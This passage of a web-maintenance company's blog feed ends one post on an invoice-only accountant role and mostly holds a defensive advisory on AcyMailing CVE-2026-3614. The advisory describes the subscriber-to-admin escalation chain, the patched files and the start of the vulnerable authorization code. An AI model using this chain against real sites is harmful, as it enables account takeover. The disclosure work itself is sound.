&lt;p&gt;A global request listener runs before every controller. If the logged-in user has &lt;code&gt;ROLE_ACCOUNTANT&lt;/code&gt; and the route is not on that allowlist, they get a 403. No controller has to opt in. No future feature can accidentally expose data. The “captive portal” stays captive, full stop.&lt;/p&gt;
&lt;h2&gt;How Do You Invite an Accountant?&lt;/h2&gt;
&lt;p&gt;Open your &lt;a href=&quot;https://manage.mysites.guru/en/teams/&quot;&gt;Your Team page&lt;/a&gt; and click &lt;strong&gt;Add Team Member&lt;/strong&gt;. Enter their name and email, then pick the &lt;strong&gt;Accountant only&lt;/strong&gt; option.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The mySites.guru Create Team Member form with two account-type radio buttons. Team member (full access to manage sites) is unselected. Accountant only (read-only invoice access) is selected and highlighted in yellow, with help text explaining View and email invoices only. Cannot see any sites, cannot be assigned sites, and has no access to anything else. Use for your bookkeeper or accountant.&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1374px) 1374px, 100vw&quot; width=&quot;1374&quot; height=&quot;1376&quot; src=&quot;https://mysites.guru/_astro/accountant-portal-create.BTT2uJap_ZLRvWm.webp&quot; srcset=&quot;https://mysites.guru/_astro/accountant-portal-create.BTT2uJap_2jUKNU.webp 640w, https://mysites.guru/_astro/accountant-portal-create.BTT2uJap_1YaTRJ.webp 750w, https://mysites.guru/_astro/accountant-portal-create.BTT2uJap_Z13JXqG.webp 828w, https://mysites.guru/_astro/accountant-portal-create.BTT2uJap_Z1jMjKC.webp 1080w, https://mysites.guru/_astro/accountant-portal-create.BTT2uJap_Z1wBvqU.webp 1280w, https://mysites.guru/_astro/accountant-portal-create.BTT2uJap_ZLRvWm.webp 1374w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The help text tells you what you are agreeing to: &lt;em&gt;View and email invoices only. Cannot see any sites, cannot be assigned sites, and has no access to anything else.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Ticking &lt;strong&gt;Accountant only&lt;/strong&gt; hides the site picker entirely. There is no way to accidentally bundle a “just this one site” exception. Accountants are mutually exclusive with regular team members: one or the other, never both. The account saves, an invite email goes out with a password-reset link, and your accountant is up and running in under a minute.&lt;/p&gt;
&lt;h2&gt;What About Notifications and Activity Emails?&lt;/h2&gt;
&lt;p&gt;mySites.guru sends plenty of operational email: &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;failed backups&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;security alerts&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;plugin update warnings&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;uptime pings&lt;/a&gt;. Your accountant does not want any of that, and you do not want them seeing it.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;getTeamMembers()&lt;/code&gt; call that feeds those notifications now excludes accountants by default. Billing emails (receipts, payment failures) still reach them, since that is the whole reason they have a login. Everything else skips them. You do not need to touch any notification preferences for this to work.&lt;/p&gt;
&lt;h2&gt;Can the Accountant Be Impersonated or Tricked Into Full Access?&lt;/h2&gt;
&lt;p&gt;No. The details that come up in security reviews:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ROLE_ACCOUNTANT&lt;/code&gt; is written to the same &lt;code&gt;roles&lt;/code&gt; column as every other role. One &lt;code&gt;hasRole()&lt;/code&gt; check, enforced centrally, not scattered across controllers.&lt;/li&gt;
&lt;li&gt;The authenticator checks for &lt;code&gt;ROLE_ACCOUNTANT&lt;/code&gt; on every successful login and force-redirects to &lt;code&gt;/invoices&lt;/code&gt;, overriding any stored target path. Even a bookmarked deep link ends up on the captive page.&lt;/li&gt;
&lt;li&gt;A company owner can still &lt;a href=&quot;https://mysites.guru/blog/how-to-impersonate-your-mysites-guru-team-members/&quot;&gt;impersonate an accountant&lt;/a&gt; for debugging, but the reverse is impossible. An accountant has no impersonation UI, no team member list, and no access to the user-switching mechanic.&lt;/li&gt;
&lt;li&gt;The lockdown listener runs on every request, not just HTML routes. AJAX and JSON endpoints 403 too.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/passkeys-for-secure-login-to-mysites/&quot;&gt;Passkeys&lt;/a&gt; and 2FA work on accountant accounts the same as any other. I would recommend turning a passkey on regardless.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Why Does This Matter?&lt;/h2&gt;
&lt;p&gt;Bookkeepers are busy people handling invoices for a pile of clients at once. The last thing you want is yours clicking around in an &lt;a href=&quot;https://mysites.guru/blog/the-best-dashboard-for-unlimited-joomla-and-wordpress-sites/&quot;&gt;unfamiliar control panel&lt;/a&gt; and accidentally &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;triggering a backup restore&lt;/a&gt; or firing off an email to a client who has no idea who they are. “I’ll just have a quick look round” is how incidents start. With the Accountant Portal there is no “round” to look at, so the temptation never shows up.&lt;/p&gt;
&lt;p&gt;It is also honest. When you give your accountant a login, they should know exactly what they can and cannot see. A role labelled &lt;strong&gt;Accountant only (read-only invoice access)&lt;/strong&gt; with a yellow warning box on the invite form leaves nothing to interpret. No one is “pretty sure” they cannot see client data. They demonstrably cannot.&lt;/p&gt;
&lt;h2&gt;Why Do We Not Auto-Email Financial Data?&lt;/h2&gt;
&lt;p&gt;Plenty of SaaS tools will happily pump your invoice data to whoever you point them at, on whatever schedule you pick. We will not.&lt;/p&gt;
&lt;p&gt;Invoices are financial records. In the UK they fall under the &lt;a href=&quot;https://ico.org.uk/for-organisations/guide-to-data-protection/guide-to-the-general-data-protection-regulation-gdpr/&quot;&gt;UK GDPR&lt;/a&gt; and the &lt;a href=&quot;https://www.gov.uk/data-protection&quot;&gt;Data Protection Act 2018&lt;/a&gt;, and the &lt;a href=&quot;https://ico.org.uk/for-organisations/uk-gdpr-guidance-and-resources/security/encryption/&quot;&gt;ICO’s own guidance&lt;/a&gt; is that plain SMTP email is not a secure channel for personal financial information. GDPR Article 32 (security of processing) says the same thing in EU terms. If your invoice touches anything health-related in the US, you are suddenly in HIPAA territory. Australia has the Privacy Act 1988. And the accounting regulators (ICAEW and AAT) expect members to keep client financial data inside access-controlled systems, not bouncing around inboxes.&lt;/p&gt;
&lt;p&gt;Email is plaintext. It travels over servers you do not control, sits in spam filters you do not administer, and hangs around in archives long after the recipient has left the firm. Auto-emailing an invoice to an accountant every month means a year of invoices sitting across four or five mail hops, indefinitely. If their mailbox is compromised next year, so is your billing history.&lt;/p&gt;
&lt;p&gt;The Accountant Portal inverts that flow. The accountant logs in with a password or a passkey, over TLS, to a page only they can see, and pulls the data when they need it. If they want a copy in their inbox, they can email a single invoice to themselves with one click. Same convenience, far less attack surface, and no one is wondering two years from now whether a closed Yahoo account still has a client’s billing address sat in it.&lt;/p&gt;
&lt;h2&gt;Why No PDFs?&lt;/h2&gt;
&lt;p&gt;The Accountant Portal does not render invoice PDFs. Invoices display as HTML, and if the accountant needs a saved file, their browser’s Print to PDF handles it. That is a intended choice, and we are in reasonably good company on it.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://gds.blog.gov.uk/2018/07/16/why-gov-uk-content-should-be-published-in-html-and-not-pdf/&quot;&gt;Government Digital Service blog&lt;/a&gt; laid out why GOV.UK publishes content as HTML rather than PDF: PDFs are harder to search, awkward with screen readers, awkward to re-flow on mobile, and &lt;a href=&quot;https://www.gov.uk/guidance/publishing-accessible-documents&quot;&gt;ignore the browser settings&lt;/a&gt; (text size, contrast, preferred font) that a lot of readers actually rely on. The government’s &lt;a href=&quot;https://accessibility.blog.gov.uk/2023/06/12/making-a-positive-change-pdf-to-html/&quot;&gt;Accessibility team&lt;/a&gt; went further in 2023 and started stripping legacy PDFs off GOV.UK. The ONS has now &lt;a href=&quot;https://service-manual.ons.gov.uk/content/content-types/pdf-and-word-documents&quot;&gt;stopped generating PDFs&lt;/a&gt; of its HTML content from 2026 onwards.&lt;/p&gt;
&lt;p&gt;Not everyone got the memo. The &lt;a href=&quot;https://statesassembly.je/publications/propositions/2026/p-57-2026&quot;&gt;States Assembly in Jersey&lt;/a&gt; has just moved the other way, making the PDF the authoritative version of each proposition and treating the HTML on the page as a convenience copy. Every publication now has an info box saying the PDF is the official document. Two governments, same decade, opposite conclusions. I would not bet on Jersey ageing well on that one.&lt;/p&gt;
&lt;p&gt;Those reasons apply to invoices too:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;An HTML invoice respects the accountant’s screen reader, their zoom level, and their high-contrast setting. A PDF locks you into 10 point text at whatever font happened to be embedded, whether that works for them or not.&lt;/li&gt;
&lt;li&gt;If we change a VAT number, a trading address, or a line-item format, we edit one template and every historical invoice picks it up. Regenerating a decade of PDFs every time HMRC tweaks a required field is not a good use of anyone’s weekend.&lt;/li&gt;
&lt;li&gt;A rendered PDF of a simple invoice is routinely five to twenty times the size of the equivalent HTML. Across thousands of customers that becomes a lot of bandwidth and storage for a worse experience.&lt;/li&gt;
&lt;li&gt;Browsers already print HTML to PDF properly. The output is an accessible, tagged PDF that matches the reader’s display preferences. Two clicks in Chrome and your accountant has a filing copy that actually works with their tooling.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The part a lot of developers forget: every major operating system already has a first-class PDF renderer built in. macOS has had Print to PDF in the system print dialog since 2001. Windows 10 shipped Microsoft Print to PDF as a default printer back in 2015. Every mainstream Linux desktop exposes the same option via CUPS. Chrome, Safari, Firefox, and Edge all route into those system printers. So the PDF your accountant saves is one produced by Apple, Microsoft, or the CUPS team, using the same font rasterisation and colour management their operating system uses for everything else on screen.&lt;/p&gt;
&lt;p&gt;Rendering a PDF server-side in PHP cannot get near that. The PHP options (mPDF, TCPDF, dompdf, wkhtmltopdf wrappers) are all fighting a frozen CSS subset, an embedded font list that never quite matches the source page, and assorted quirks around page breaks, ligatures, RTL text, emoji, and custom web fonts. I have lost enough Saturdays to TCPDF trying to line an invoice up with its HTML version to know the answer: ship the HTML, let the OS render the PDF.&lt;/p&gt;
&lt;p&gt;One more reason, and it is one the PDF-by-default crowd rarely thinks about: printing is not eco-friendly. A PDF exists to look like a sheet of paper, and the natural next step with a PDF is to print it. A 2019 study by &lt;a href=&quot;https://theshiftproject.org/en/article/unsustainable-use-online-video/&quot;&gt;The Shift Project&lt;/a&gt; put the global digital industry at roughly 4% of greenhouse gas emissions, and &lt;a href=&quot;https://www.gov.uk/government/publications/waste-prevention-programme-for-england-maximising-resources-minimising-waste&quot;&gt;paper is still the single biggest source of office waste in the UK&lt;/a&gt; according to Defra’s waste prevention programme. Every unneeded invoice PDF is an invitation to hit print, and every printed invoice is ink, toner, paper, electricity, and a delivery lorry somewhere up the supply chain.&lt;/p&gt;
&lt;p&gt;An HTML invoice defaults to never being printed. If you want a filing copy you still can, but the default behaviour is “read it on the screen and close the tab” rather than “print it and put it in a folder that no one opens.” Small thing per invoice. Not a small thing across thousands of accountants filing thousands of clients.&lt;/p&gt;
&lt;p&gt;HTML first, print on demand. The invoice you see is the invoice you get, and the format of any saved copy is yours to pick.&lt;/p&gt;
&lt;h2&gt;Give It a Try&lt;/h2&gt;
&lt;p&gt;Open your &lt;a href=&quot;https://manage.mysites.guru/en/teams/&quot;&gt;Your Team page&lt;/a&gt;, click &lt;strong&gt;Add Team Member&lt;/strong&gt;, and tick &lt;strong&gt;Accountant only&lt;/strong&gt;. Your accountant has a login in two minutes. If you do not yet have a mySites.guru account, &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;pricing starts at £5/month for one site or £19.99/month for unlimited sites&lt;/a&gt;, and every plan includes unlimited team members and accountants.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/teams/&quot;&gt;Add Your Accountant Now&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Team access patterns like this one are covered in our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;agency multi-site management guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>accountant</category><category>bookkeeping</category><category>teams</category><category>invoices</category><category>site management</category><enclosure url="https://mysites.guru/img/og/blog/accountant-portal-invoice-access.png" length="0" type="image/png"/></item><item><title>AcyMailing Vulnerability Also Affects Joomla Sites</title><link>https://mysites.guru/blog/acymailing-cve-2026-3614-joomla/</link><guid isPermaLink="true">https://mysites.guru/blog/acymailing-cve-2026-3614-joomla/</guid><description>CVE-2026-3614 is listed as a WordPress bug. We diffed the 10.8.1 and 10.8.2 source and the same vulnerable code ships to Joomla sites too.</description><pubDate>Thu, 16 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Yet again, a vulnerability in a dual WordPress/Joomla plugin only gets noticed and shouted about in WordPress circles, leaving Joomla users blind and none the wiser.&lt;/p&gt;
&lt;p&gt;This time it is &lt;a href=&quot;https://www.acymailing.com/&quot;&gt;AcyMailing&lt;/a&gt;, a newsletter plugin with a Joomla component and a WordPress plugin built from the same source tree. &lt;a href=&quot;https://vulnerability.circl.lu/vuln/cve-2026-3614&quot;&gt;CVE-2026-3614&lt;/a&gt; is a CVSS 8.8 privilege escalation, and every advisory we could find describes it as WordPress-only. None of them mention Joomla.&lt;/p&gt;
&lt;p&gt;We downloaded the Joomla installer tarballs for AcyMailing 10.8.1 and 10.8.2, ran a diff, and found the patch sitting in shared code that ships to Joomla sites too. The AcyMailing vendor &lt;a href=&quot;https://www.acymailing.com/changelog/&quot;&gt;changelog&lt;/a&gt; also confirms it: the 10.8.2 security entry is flagged with both the Joomla and WordPress icons, so the vendor themselves are telling you both platforms are affected - the CVE just doesn’t. If your Joomla site runs AcyMailing 9.11.0 through 10.8.1, your attack surface is identical to the WordPress sites the CVE was written for.&lt;/p&gt;
&lt;p&gt;Hundreds of Joomla and WordPress sites connected to &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; are running an affected version right now. Here is what the bug actually does, why the public record missed Joomla, and what to do about it.&lt;/p&gt;
&lt;h2&gt;Update, 26 September 2026: update to 11.1.0, not 10.8.2&lt;/h2&gt;
&lt;p&gt;10.8.2 closes CVE-2026-3614, but every version up to 11.0.5 is affected by two newer flaws, published on 26 September 2026 as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-94132/&quot;&gt;CVE-2026-94132&lt;/a&gt; (a mailbox actions file write rated 9.5 Critical) and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-94131/&quot;&gt;CVE-2026-94131&lt;/a&gt; (an arbitrary file deletion rated 8.3 High). Both are fixed in AcyMailing 11.1.0, so that is the version to update to now. &lt;a href=&quot;https://mysites.guru/blog/acymailing-11-1-0-security-release/&quot;&gt;Our AcyMailing 11.1.0 write-up&lt;/a&gt; explains both.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3614&quot;&gt;CVE-2026-3614&lt;/a&gt;&lt;/strong&gt; - CVSS 8.8 privilege escalation in AcyMailing 9.11.0 through 10.8.1&lt;/li&gt;
&lt;li&gt;Public CVE describes it as a WordPress-only bug. &lt;strong&gt;It is not.&lt;/strong&gt; Joomla is equally affected&lt;/li&gt;
&lt;li&gt;Patch shipped in &lt;strong&gt;AcyMailing 10.8.2&lt;/strong&gt; on 13 March 2026. Update every Joomla and WordPress site running it&lt;/li&gt;
&lt;li&gt;Vendor changelog flags the fix with both the Joomla and WordPress icons. Our own source diff proves the vulnerable code is in shared &lt;code&gt;back/Core/AcymController.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Joomla’s &lt;a href=&quot;https://extensions.joomla.org/vulnerable-extensions/vulnerable/&quot;&gt;Vulnerable Extensions List&lt;/a&gt; has no entry for this CVE. The most recent VEL entry is from February 2026&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;p&gt;This is the second recent case of a cross-platform plugin vulnerability being disclosed for WordPress only while Joomla site operators receive no public warning. &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Smart Slider 3&lt;/a&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3098&quot;&gt;CVE-2026-3098&lt;/a&gt;) was the previous one. The pattern is becoming familiar.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;How to Check Your Sites for AcyMailing 9.11.0 to 10.8.1 with mySites.guru&lt;/h2&gt;
&lt;p&gt;When a privilege escalation CVE drops in a plugin that ships on both Joomla and WordPress, the first question every agency asks is: “Which of my sites are running a vulnerable version?” If you manage 50 or 200 client sites across both CMS platforms, logging into each admin panel and checking the AcyMailing version is not viable. By the time you get through the list, the attacker has already had their month of diff-and-exploit lead time.&lt;/p&gt;
&lt;p&gt;mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;twice-daily extension snapshot&lt;/a&gt; records the exact version of every installed plugin and Joomla extension across every connected site. The extension search page lets you filter by version number in seconds.&lt;/p&gt;
&lt;p&gt;If you are already a mySites.guru subscriber, the &lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/2f9c94cd1f52e5708220fc09bd24a385&quot;&gt;AcyMailing extension search page&lt;/a&gt; lists every installed version across all your connected Joomla and WordPress sites, grouped by version number. Filter for anything between 9.11.0 and 10.8.1 to see which sites need the update.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;View all your AcyMailing installations&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/2f9c94cd1f52e5708220fc09bd24a385&quot;&gt;Open AcyMailing Extension Search&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Lists every installed version across all your connected Joomla and WordPress sites. Filter by 9.11.0 through 10.8.1 to find vulnerable installations that need to move to 10.8.2.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Combined with the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass plugin updater&lt;/a&gt;, you can push 10.8.2 across every affected site in one batch. A cross-platform CVE becomes a five-minute triage instead of a full day of logging into client admin panels.&lt;/p&gt;
&lt;p&gt;If you do not have a mySites.guru account yet, &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt; and connect your sites. The plugin index builds automatically on the first snapshot.&lt;/p&gt;
&lt;h3&gt;Checking manually without mySites.guru is a lot of work with a lot of sites&lt;/h3&gt;
&lt;p&gt;If you manage sites outside of mySites.guru, log into each admin and check the version:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Joomla:&lt;/strong&gt; open &lt;strong&gt;Components → AcyMailing → Configuration&lt;/strong&gt;. The version number is at the bottom of the page.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WordPress:&lt;/strong&gt; open &lt;strong&gt;Plugins → Installed Plugins&lt;/strong&gt; and look at the AcyMailing row.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Anything 9.11.0 through 10.8.1 needs updating. The &lt;a href=&quot;https://www.acymailing.com/changelog/&quot;&gt;AcyMailing changelog&lt;/a&gt; lists the latest release, and the download comes through your AcyMailing account.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru help subscribers when a vulnerability is found?&lt;/h2&gt;
&lt;p&gt;Finding the affected sites is the easy bit. Once you know which ones are vulnerable you still have to triage, patch, verify, and sometimes clean up after exploitation. Here is how mySites.guru handles each stage.&lt;/p&gt;
&lt;h3&gt;Twice-daily extension snapshots&lt;/h3&gt;
&lt;p&gt;Every connected Joomla and WordPress site is snapshotted twice a day. The snapshot records the plugin index, CMS core version, PHP version, server modules, and active templates. When a new CVE appears, the latest snapshot is at most 12 hours old, so you are not looking at yesterday’s state. Cross-platform CVEs like this AcyMailing one show up across both CMS families in the same query.&lt;/p&gt;
&lt;h3&gt;Cross-referenced vulnerability alerts&lt;/h3&gt;
&lt;p&gt;Snapshot data gets matched against the &lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities&quot;&gt;Wordfence&lt;/a&gt; and &lt;a href=&quot;https://patchstack.com/database/&quot;&gt;Patchstack&lt;/a&gt; feeds automatically. Any WordPress CVE that also hits a Joomla-side plugin (because the plugin ships dual-platform from shared code) surfaces on the affected Joomla sites too. That closes the gap that caught this AcyMailing CVE out.&lt;/p&gt;
&lt;p&gt;Alerts fire to email and appear on the dashboard the morning the feeds update. No polling, no manual cross-reference.&lt;/p&gt;
&lt;h3&gt;One-click bulk updates&lt;/h3&gt;
&lt;p&gt;Once vulnerable versions show up in your portfolio, the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass plugin updater&lt;/a&gt; pushes the fixed version to every affected site in one batch. Joomla and WordPress sites update through the same workflow. No logging into client admin panels one at a time.&lt;/p&gt;
&lt;h3&gt;Post-update verification audits&lt;/h3&gt;
&lt;p&gt;A &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;full site audit&lt;/a&gt; runs after each update to verify the plugin is at the expected version and the site is still healthy. The audit catches updates that failed, sites that went down, and file-integrity checks that broke. You get a report rather than having to spot-check manually.&lt;/p&gt;
&lt;h3&gt;File-level malware scanning for post-exploitation&lt;/h3&gt;
&lt;p&gt;An update does not undo exploitation that already happened. mySites.guru’s &lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;malware scanner&lt;/a&gt; runs file-level integrity checks and pattern matching for known backdoors and droppers, and the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hacked-files detector&lt;/a&gt; walks through how to interpret the results. When Astroid Framework was being actively exploited in March 2026, the scanner flagged the BLPayload droppers on customer sites on the next audit cycle, before any public IoC list existed.&lt;/p&gt;
&lt;h3&gt;Changelog and incident dashboard&lt;/h3&gt;
&lt;p&gt;Every new CVE writeup, mass-exploitation wave, and plugin backdoor incident goes on the &lt;a href=&quot;https://manage.mysites.guru/en/changelog&quot;&gt;account changelog&lt;/a&gt; so subscribers have a running record of what happened, when, and what needed doing. The AcyMailing CVE-2026-3614 entry is there too.&lt;/p&gt;
&lt;p&gt;For Joomla operators, this is the closest thing the ecosystem has to a commercial vulnerability pipeline. Imperfect, and dependent on the WordPress-side CVE feeds catching the bug first - but it is what exists until someone builds a Joomla-native equivalent.&lt;/p&gt;
&lt;h2&gt;What does the AcyMailing vulnerability actually do?&lt;/h2&gt;
&lt;p&gt;At CVSS 8.8 this is a privilege escalation, not remote code execution. An attacker needs an authenticated account on the target site. On WordPress that means a Subscriber-level user, the lowest privilege WordPress offers. On Joomla it means any registered user whose ACL grants them access to the relevant AcyMailing routes.&lt;/p&gt;
&lt;p&gt;From that low-privilege starting point, the vulnerability lets the attacker call admin-only controller methods on the AcyMailing component. The &lt;a href=&quot;https://managed-wp.com/latest-wordpress-plugin-vulnerabilities/critical-acymailing-smtp-access-control-vulnerability-cve20263614-2026-04-16/&quot;&gt;public Wordfence-style writeup&lt;/a&gt; describes the attacker:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Turning on AcyMailing’s autologin feature via the configuration controller&lt;/li&gt;
&lt;li&gt;Creating a malicious newsletter subscriber with an injected &lt;code&gt;cms_id&lt;/code&gt; pointing to any existing CMS user, including administrators&lt;/li&gt;
&lt;li&gt;Using the autologin URL to authenticate as that user&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You sign up as a subscriber, walk in as the admin. That is the whole chain.&lt;/p&gt;
&lt;h2&gt;Why does the AcyMailing CVE only mention WordPress?&lt;/h2&gt;
&lt;p&gt;Because Joomla has no commercial CVE reporting infrastructure, and WordPress does. That is the entire answer. Everything below is the detail.&lt;/p&gt;
&lt;p&gt;WordPress has three separate commercial vulnerability research operations paying people to break their plugin ecosystem:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/&quot;&gt;Wordfence&lt;/a&gt; is a &lt;a href=&quot;https://www.cve.org/PartnerInformation/ListofPartners&quot;&gt;CVE Numbering Authority&lt;/a&gt;, so they can issue CVE IDs directly without going through MITRE. They also run the &lt;a href=&quot;https://www.wordfence.com/threat-intel/bug-bounty-program/&quot;&gt;Wordfence Bug Bounty Program&lt;/a&gt; that pays researchers to report plugin vulnerabilities.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://patchstack.com/&quot;&gt;Patchstack&lt;/a&gt; is also a CNA, runs the &lt;a href=&quot;https://patchstack.com/bug-bounty/&quot;&gt;Patchstack Alliance bug bounty&lt;/a&gt;, and coordinates &lt;a href=&quot;https://en.wikipedia.org/wiki/Coordinated_vulnerability_disclosure&quot;&gt;responsible disclosure&lt;/a&gt; with plugin authors.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wpscan.com/&quot;&gt;WPScan&lt;/a&gt; is owned by Automattic (the company behind WordPress.com) and maintains a vulnerability database that feeds commercial security plugins.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All three scan every WordPress plugin update looking for silent security fixes. All three pay staff to produce CVEs and advisories.&lt;/p&gt;
&lt;p&gt;Joomla has a CNA too - the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla Security Strike Team became one in November 2020&lt;/a&gt; - but their scope in practice is Joomla core, not third-party extensions. They rarely issue CVEs for extension bugs. Beyond that, there is nothing: no bug bounty, no commercial researcher community, no release scanning. The &lt;a href=&quot;https://extensions.joomla.org/vulnerable-extensions/vulnerable/&quot;&gt;Joomla Vulnerable Extensions List&lt;/a&gt; is volunteer-run and reporter-led - somebody has to send them a report before an entry appears. On the day CVE-2026-3614 dropped, VEL’s most recent entry was from 27 February 2026. No CVE-2026-3614 entry was added.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; is as close as the Joomla world gets to the Wordfence/Patchstack role, and we are honest about the limits: we cross-reference extension versions on every connected site against the WordPress vulnerability feeds twice a day, which closes the gap on cross-platform plugins but is not a replacement for a funded Joomla CVE pipeline. Nothing is. Until someone decides to build a Joomla Wordfence and fund it, this asymmetry is going to keep happening. Joomla operators who only watch CVE feeds see the AcyMailing disclosure, see the word “WordPress”, and move on. Their sites stay exposed.&lt;/p&gt;
&lt;h2&gt;How we proved CVE-2026-3614 affects Joomla AcyMailing too&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://api.acymailing.com/public/updatexml/component?extension=acymailing&amp;amp;cms=joomla&amp;amp;version=latest&amp;amp;level=starter&quot;&gt;AcyMailing’s download API&lt;/a&gt; only serves the latest version, but &lt;a href=&quot;https://github.com/acyba/acymailing&quot;&gt;acyba’s GitHub organisation&lt;/a&gt; maintains tagged source for older releases. We pulled the 10.8.1 and 10.8.2 Joomla-compiled tarballs and ran &lt;code&gt;diff -rq&lt;/code&gt; across the two trees.&lt;/p&gt;
&lt;p&gt;The files that differ between the two releases are the ones the WordPress CVE writeup points to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;back/Core/AcymController.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;back/Classes/UserClass.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;back/Controllers/ConfigurationController.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;front/FrontControllers/FrontconfigurationController.php&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These are not WordPress-specific files. They live under &lt;code&gt;back/&lt;/code&gt; and &lt;code&gt;front/&lt;/code&gt;, the platform-agnostic AcyMailing core. The &lt;code&gt;WpInit/&lt;/code&gt; folder the public CVE writeup references is the WordPress integration layer that calls into this shared code.&lt;/p&gt;
&lt;h3&gt;How the authorization bypass works&lt;/h3&gt;
&lt;p&gt;In vulnerable versions of &lt;code&gt;back/Core/AcymController.php&lt;/code&gt;, the authorization gate looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;public&lt;/span&gt;&lt;span&gt; function&lt;/span&gt;&lt;span&gt; call&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;string&lt;/span&gt;&lt;span&gt; $task)&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; void&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    // If not authorized, display message and redirect to dashboard&lt;/span&gt;&lt;/span&gt;
